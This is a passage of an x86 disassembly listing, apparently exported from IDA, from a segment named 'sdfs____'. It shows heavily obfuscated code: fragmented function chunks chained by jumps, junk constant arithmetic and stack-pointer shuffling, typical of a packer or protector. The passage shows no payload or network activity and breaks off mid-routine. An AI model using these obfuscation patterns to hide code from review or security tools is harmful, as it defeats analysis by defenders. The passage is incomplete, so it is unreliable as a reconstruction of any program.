		mov	[esp-18h+arg_14], ebx
		push	edx
		mov	edx, 33FE3DA4h
		jmp	loc_5A7FF6
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5AE140:				; CODE XREF: sub_5A9EC5-F6Fj
		sub	bl, 3Eh
		add	bl, dh
		add	bl, 3Eh
		jmp	loc_5AE7E9
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BEB


loc_5AE14D:				; CODE XREF: sub_5A7BEB-4AAEj
		add	cl, 92h
		add	cl, 12h
		ja	sub_59B69D
		push	bx
		jmp	sub_5A311C
; END OF FUNCTION CHUNK	FOR sub_5A7BEB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		mov	al, bl
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5AE166:				; CODE XREF: sub_5A580F-88A1j
		sub	dword ptr [esp+0], 60BA37BAh
		push	eax
		mov	eax, 2C4A365Fh
		xor	eax, 339B3953h
		jmp	loc_5AE539
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AE17D:				; CODE XREF: sub_5A6BBC-BE2j
		push	[esp+arg_0]
		push	[esp+4+var_4]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mul	cl
		jmp	loc_5AECE8
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------


loc_5AE1A2:				; CODE XREF: sdfs____:005ACCAFj
		mov	eax, [esp]
		add	esp, 4
		sub	al, 6Fh
		sub	al, ch
		add	al, 6Fh
		jmp	loc_5A26DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AE1B6:				; CODE XREF: sub_59D6B8+37C7j
		push	eax
		jmp	loc_5A9415
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5AE1BC:				; CODE XREF: sub_59F1F3+4462j
		add	esp, 4
		sub	edx, 2BF87D5Fh
		add	edx, edi
		push	edi
		mov	edi, 3AB82358h
		and	edi, 649620CCh
		inc	edi
		add	edi, 0B685D16h
		add	edx, edi
		jmp	loc_59CB94
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AE1E4:				; CODE XREF: sub_5A6BBC-2700j
		add	eax, ebx
		mov	ebx, [esp+0]
		jmp	loc_5A2FAE
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE72D


loc_5AE1EE:				; CODE XREF: sub_5AE72D+B01j
		add	edi, esi
		add	edi, 5430080Dh
		add	edi, 6B2E25F8h
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	5ECAh
		mov	[esp+0Ch+var_C], edi
		push	[esp+0Ch+var_8]
		pop	edi
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		push	[esp-8+arg_4]
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		push	0F85h
		mov	[esp-4+arg_0], edi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_59CFCB
; END OF FUNCTION CHUNK	FOR sub_5AE72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AE237:				; CODE XREF: sub_5992DA+D4Ej
		jmp	loc_59DCE9
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A355D


loc_5AE23C:				; CODE XREF: sub_5A355D+290Aj
		sub	ebx, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		jmp	loc_5AEA40
; END OF FUNCTION CHUNK	FOR sub_5A355D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AE24D:				; CODE XREF: sub_59C979+B222j
		xor	cl, 9Fh
		jmp	loc_5A67D9
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------


loc_5AE255:				; CODE XREF: sdfs____:0059C579j
		sub	edi, 316D31C8h
		jmp	loc_5A4F57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5AE260:				; CODE XREF: sub_5A2E41+CA54j
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		add	edx, 2
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		shr	byte ptr [esp-8+arg_0],	cl
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3C9


loc_5AE292:				; CODE XREF: sub_59B3C9+1225Bj
		add	eax, 4
		jmp	loc_59BB83
; END OF FUNCTION CHUNK	FOR sub_59B3C9

; =============== S U B	R O U T	I N E =======================================



sub_5AE29C	proc near		; CODE XREF: sub_5A9B1D-CBF9j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059FBA6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A11AE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1E29 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4EB4 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005A505A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A568B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6666 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A8893 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A8EBA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AAA6D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AAE71 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD3F0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AF9C9 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 4
		jmp	loc_5A8893
sub_5AE29C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F463


loc_5AE2AC:				; CODE XREF: sub_59F463+106F1j
		add	eax, esi
		pop	esi
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		xchg	edx, [esp+4+var_4]
		jmp	loc_5A3AB4
; END OF FUNCTION CHUNK	FOR sub_59F463
; ---------------------------------------------------------------------------


loc_5AE2BD:				; CODE XREF: sdfs____:0059C279j
		mov	ebx, eax
		pop	eax
		shl	ebx, 1
		shl	ebx, 8
		or	ebx, 2E005ABFh
		dec	ebx
		xor	ebx, 27E21940h
		push	edx
		jmp	loc_5A7D05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_5AE2D8:				; CODE XREF: sub_5A5824-5A57j
		push	[esp+8+var_8]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		inc	edi
		push	0B04h
		jmp	loc_5A8A0A
; END OF FUNCTION CHUNK	FOR sub_5A5824
; ---------------------------------------------------------------------------


loc_5AE303:				; CODE XREF: sdfs____:005A7D12j
		mov	edx, [esp]
		jmp	loc_5AFDB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE30B:				; CODE XREF: sub_5AA2D1-8F8Bj
		add	edx, esi
		pop	esi
		add	edx, edi
		push	dword ptr [edx]
		jmp	loc_5ABB10
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AE317:				; CODE XREF: sub_59D6B8-2571j
		not	[esp+20h+var_20]
		pop	eax
		dec	eax
		add	eax, 152E18C3h
		jmp	loc_5AF1C6
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AE326:				; CODE XREF: sub_5A477C-1FE5j
		not	edx
		push	ecx
		mov	ecx, 528B3E33h
		and	ecx, 76AB6804h
		shr	ecx, 1
		add	ecx, 5BE43E53h
		push	esi
		jmp	loc_5AD4F9
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_5AE342:				; CODE XREF: sub_59D4FD+745Aj
		xor	esi, [esp-0Ch+arg_8]
		jmp	loc_5ADA2F
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_5AE34A:				; CODE XREF: sub_5A3E64+458Cj
		sub	ebp, 6ADA0AFBh
		pop	eax
		push	ebx
		mov	ebx, 2
		add	ebp, 1842759Fh
		add	ebp, ebx
		sub	ebp, 1842759Fh
		push	[esp-4+arg_0]
		pop	ebx
		add	esp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	ecx
		jmp	loc_59B101
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5AE379:				; CODE XREF: sub_5B03B3-17142j
		mov	edi, 15935D84h
		and	edx, edi
		push	dword ptr [esp+0]
		pop	edi
		push	ecx
		jmp	loc_59ED28
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5AE38A:				; CODE XREF: sub_5AF2D9-AEE0j
		mov	dl, 0CFh
		xor	cl, dl
		pop	edx
		xor	cl, 0B6h
		jmp	loc_5A197C
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE397:				; CODE XREF: sub_5AA2D1-A714j
		pop	esp
		mov	[esp-0Ch+arg_8], edx
		push	eax
		mov	al, 0Fh
		push	eax
		mov	al, 5Dh
		jmp	loc_5ACA93
; ---------------------------------------------------------------------------


loc_5AE3A6:				; CODE XREF: sub_5AA2D1-EB27j
		add	bl, 24h
		jmp	loc_5AEC74
; ---------------------------------------------------------------------------


loc_5AE3AE:				; CODE XREF: sub_5AA2D1+8D3j
		pop	esi
		push	esi
		push	eax
		mov	eax, 25E3331Fh
		xor	[esp+4], eax
		mov	eax, [esp+4+var_4]
		push	ecx
		push	esp
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_59969C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5AE3C7:				; CODE XREF: sub_599A61:loc_59CDF1j
		push	ecx
		push	ebp
		mov	ebp, 6B4931F1h
		jmp	sub_5A633D
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE3D3:				; CODE XREF: sub_5AA2D1-A45Dj
		mov	edx, [esp+4+var_4]
		jmp	loc_59F6F5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5AE3DB:				; CODE XREF: sub_5A4D9D-11j
		pop	esp
		jmp	loc_5A1FA5
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_5AE3E1:				; CODE XREF: sub_5A3C19+C648j
		pop	ecx
		push	edi
		jmp	loc_59C66D
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AE3E8:				; CODE XREF: sub_5992DA+3899j
		push	edi
		mov	edi, 47CC3A41h
		jmp	loc_5A68B2
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5648


loc_5AE3F3:				; CODE XREF: sub_5A5648+1FD6j
		push	edi
		push	eax
		mov	eax, 0FFFFFFFFh
		mov	edi, eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		sub	eax, edi
		pop	edi
		jmp	loc_5A1BEA
; END OF FUNCTION CHUNK	FOR sub_5A5648

; =============== S U B	R O U T	I N E =======================================



sub_5AE40A	proc near		; CODE XREF: sub_5AA2D1-10D62j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599F84 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E9F6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F300 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A6546 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A7CBD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A863F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AE9F4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005B01C4 SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	loc_599F84
sub_5AE40A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A26E8


loc_5AE41A:				; CODE XREF: sub_5A26E8-78B4j
		mov	edi, 73CA1BCEh
		xor	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		jmp	loc_59DFED
; END OF FUNCTION CHUNK	FOR sub_5A26E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF9B3


loc_5AE42A:				; CODE XREF: sub_5AF9B3+6j
		mov	edx, 732937BFh
		sub	ebp, edx
		jmp	loc_5A86DC
; END OF FUNCTION CHUNK	FOR sub_5AF9B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5AE436:				; CODE XREF: sub_5A79BE:loc_5A662Bj
		xor	esi, 4C251592h
		jge	loc_59E2EA
		shr	esi, 3
		jmp	loc_59BC20
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
		mov	dh, bh
		push	esp
; START	OF FUNCTION CHUNK FOR sub_5A4DFC


loc_5AE44D:				; CODE XREF: sub_5A4DFC-2A29j
		push	edx
		mov	dh, ah
		mov	bl, dh
		push	[esp+0Ch+var_C]
		pop	edx
		add	esp, 4
		push	7B77h
		mov	[esp+0Ch+var_C], ecx
		push	eax
		mov	ah, bl
		mov	cl, ah
		pop	eax
		jmp	loc_5A8D6C
; END OF FUNCTION CHUNK	FOR sub_5A4DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE46C:				; CODE XREF: sub_5AA2D1-44EEj
		pop	dx
		add	al, 0CAh
		sub	al, 8Ch
		add	al, dl
		push	5ACBh
		mov	[esp+8+var_8], ecx
		mov	ch, 0E1h
		jmp	loc_5ACBB7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5AE483:				; CODE XREF: sub_59F4D2:loc_5AB85Cj
		add	ebp, 5CD7631Ah
		mov	eax, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5ABBB8
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_5AE496:				; CODE XREF: sub_5AB622-324j
		shl	edi, 2
		jmp	loc_59DE30
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AE49E:				; CODE XREF: sub_5AA810-32DBj
					; sub_59EE3E+C60Aj
		add	ecx, 1F8F1D36h
		jmp	loc_59B707
; END OF FUNCTION CHUNK	FOR sub_59EE3E

; =============== S U B	R O U T	I N E =======================================



sub_5AE4A9	proc near		; DATA XREF: sdfs____:00598F90o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005999A0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B7F1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A8734 SIZE 0000001C BYTES

		mov	cx, [esp+0]
		push	ecx
		mov	ecx, esp
		jmp	loc_59B7F1
sub_5AE4A9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_5AE4B5:				; CODE XREF: sub_5A3E64+18j
		mov	eax, 25D70BAEh
		xchg	eax, edx
		jmp	loc_5A234C
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5AE4C0:				; CODE XREF: sub_5ADD33:loc_5A9F47j
		dec	ebx
		jz	loc_5AE4FC
		sub	ebx, 19720EBCh
		js	loc_5A924C
		jmp	loc_5AEDBC
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5AE4D8:				; CODE XREF: sub_5AD795-137A0j
		pop	esp
		jmp	loc_59ED35
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5AE4DE:				; CODE XREF: sub_5992DA+F2Cj
					; sub_59A7E7+548Bj ...
		add	cl, 0E3h
		sub	bl, cl
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		mov	ecx, [esp+0]
		push	7829h
		mov	[esp-4+arg_0], ebp
		jmp	loc_5A69CE
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE4FC:				; CODE XREF: sub_5AA2D1-96B3j
					; sub_5ADD33+78Ej
		pop	ebp
		push	eax
		push	esp
		mov	eax, [esp-2Ch+arg_28]
		jmp	loc_5ACF18
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AE507:				; CODE XREF: sub_5A477C-1AD1j
		neg	ecx
		shr	ecx, 5
		push	esi
		mov	esi, 0CF1126C8h
		sub	ecx, esi
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_5A6F79
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5997FD


loc_5AE51F:				; CODE XREF: sub_5997FD+F3CFj
		pop	ebp
		mov	eax, [esp+0]
		add	esp, 4
		add	eax, 4
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 12581ACAh
		jmp	loc_59B157
; END OF FUNCTION CHUNK	FOR sub_5997FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5AE539:				; CODE XREF: sub_5A580F+8969j
		jp	loc_5A089C
		and	eax, 2BB56192h
		jnz	loc_5A80D6
		mov	al, 23h
		mov	dh, bl


loc_5AE54E:				; CODE XREF: sub_5AAF7A-35E2j
		xor	eax, 49A1B3Bh
		xor	eax, 38425503h
		xor	eax, 0C94DBE14h
		add	esi, eax
		pop	eax
		add	esi, 51DD5E8Eh
		sub	esi, ebx
		sub	esi, 51DD5E8Eh
		sub	esi, 6F724DD6h
		pop	ebx
		push	ebx
		mov	ebx, 0D5245DCh
		jmp	loc_5A7FDB
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5AE580:				; CODE XREF: sub_59E94B+1180Dj
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5AA61E
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_5AE58B:				; CODE XREF: sub_5AD84A-141F1j
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_59F68B
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE595:				; CODE XREF: sub_5AA2D1-AFA0j
					; sub_5AA2D1-895Aj
		pop	edi
		jmp	loc_5AE12C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5AE59B:				; CODE XREF: sub_5A16B8+A5B0j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A6F


loc_5AE5A0:				; CODE XREF: sub_599A6F+7B36j
		shl	bh, 6
		not	bh
		jmp	loc_5B00A2
; END OF FUNCTION CHUNK	FOR sub_599A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5AE5AA:				; CODE XREF: sub_5A18F6+9825j
		add	esp, 4
		xor	edi, 73343F8Ah
		jmp	loc_5A4D38
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------


loc_5AE5B8:				; CODE XREF: sdfs____:0059A7C8j
		xor	esi, ebx
		pop	ebx
		sub	esi, 4E18053Fh
		push	esi
		add	dword ptr [esp], 64307336h
		pop	eax
		sub	eax, 64307336h
		pop	esi
		shl	eax, 8
		or	eax, 0C610148h
		push	0
		sub	dword ptr [esp], 47AC23B1h
		sub	dword ptr [esp], 54ED7BF6h
		sub	[esp], eax
		add	dword ptr [esp], 54ED7BF6h
		add	dword ptr [esp], 47AC23B1h
		pop	eax
		jmp	loc_5A1B09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE602:				; CODE XREF: sub_5AA2D1-A8C8j
		pop	edi
		pop	[esp-1Ch+arg_18]
		jmp	loc_59C087
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_5AE60B:				; CODE XREF: sub_5AD84A-9134j
		not	ebx
		and	ebx, 444328F6h
		xor	ebx, 5ED73804h
		sub	ecx, ebx
		pop	ebx
		sub	ecx, 30C07046h
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		xor	ecx, [esp+8+var_8]
		xor	[esp+8+var_8], ecx
		xor	ecx, [esp+8+var_8]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5AEAFA
; END OF FUNCTION CHUNK	FOR sub_5AD84A

; =============== S U B	R O U T	I N E =======================================



sub_5AE643	proc near		; DATA XREF: sdfs____:00598EECo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		jmp	sub_5A0924
sub_5AE643	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_5AE65F:				; CODE XREF: sub_5A3E64-5A10j
		pop	ebx
		jmp	loc_5A83E2
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AE665:				; CODE XREF: sdfs____:005A2A3Ej
					; sub_59D6B8+B7FDj ...
		xchg	edx, [esp+4+var_4]
		jmp	loc_5AE843
; ---------------------------------------------------------------------------


loc_5AE66D:				; CODE XREF: sub_59D6B8-2863j
		neg	ebp
		xor	ebp, 0AF17F9B2h
		add	esi, 65AF61AAh
		add	esi, ebp
		sub	esi, 65AF61AAh
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5AA90F
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_5AE691:				; CODE XREF: sub_5A118F-4AD5j
					; sub_5A5B27-6ED4j
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebx
		jmp	loc_5AD36C
; END OF FUNCTION CHUNK	FOR sub_5A5B27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_5AE6AB:				; CODE XREF: sub_5AB207-D585j
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AB207

; =============== S U B	R O U T	I N E =======================================



sub_5AE6B6	proc near		; DATA XREF: sdfs____:0059906Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		jmp	loc_59FD41
sub_5AE6B6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5AE6CC:				; CODE XREF: sub_599A61+89B8j
		shl	edx, 5
		jmp	loc_59CDF1
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5AE6D4:				; CODE XREF: sub_5A4E04+ACC8j
		mov	ebp, esi
		jmp	loc_5A9CF9
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AE6DB:				; CODE XREF: sub_59D6B8+8DD7j
		mov	ebp, esp
		push	ebx
		mov	ebx, 66F55275h
		add	ebx, 6A8E6C56h
		sub	ebx, 1D61541Ah
		sub	ebx, 575470A3h
		add	ebx, 2B5F5303h
		sub	ebx, 721202A1h
		jmp	loc_5AA870
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------


loc_5AE706:				; CODE XREF: sdfs____:0059DE97j
		pop	ebx
		inc	dh
		jmp	loc_5AB038
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB66


loc_5AE70E:				; CODE XREF: sub_5AAB66-4C6Cj
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		add	edx, 2
		push	edx
		push	[esp+8+var_4]
		pop	edx
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		test	cx, ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AAB66

; =============== S U B	R O U T	I N E =======================================



sub_5AE72D	proc near		; DATA XREF: sdfs____:00598E64o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059919D SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0059CFCB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005ADB17 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AE1EE SIZE 00000049 BYTES
; FUNCTION CHUNK AT 005AF21C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AF7AC SIZE 00000015 BYTES

		push	dword ptr [esp+0]
		pop	eax
		push	53ADh
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		push	3C3Fh
		mov	[esp+8+var_8], esi
		mov	esi, 4
		push	edx
		jmp	loc_5AF7AC
sub_5AE72D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AE754:				; CODE XREF: sub_5A6BBC-42ECj
		sub	bh, 0DEh
		add	dl, bh
		pop	ebx
		push	ax
		mov	ah, 3Eh
		jmp	loc_5AC4CA
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5AE763:				; CODE XREF: sub_5A917C-743Bj
					; sub_5A0FFF+347Bj
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		shl	ebx, 4
		sub	ebx, 16AFD1D0h
		and	eax, ebx
		jmp	loc_5AAA60
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5AE77D:				; CODE XREF: sub_5A0AA2-2498j
		pop	esi
		jmp	loc_599B71
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A405F


loc_5AE783:				; CODE XREF: sub_5A405F+8D0Fj
		xor	edx, [esp+8+var_8]
		pop	esp
		push	ecx
		not	[esp+8+var_8]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	eax
		mov	eax, 27C62E93h
		push	ecx
		mov	ecx, 46E732AEh
		add	eax, ecx
		pop	ecx
		or	eax, 3D17249Fh
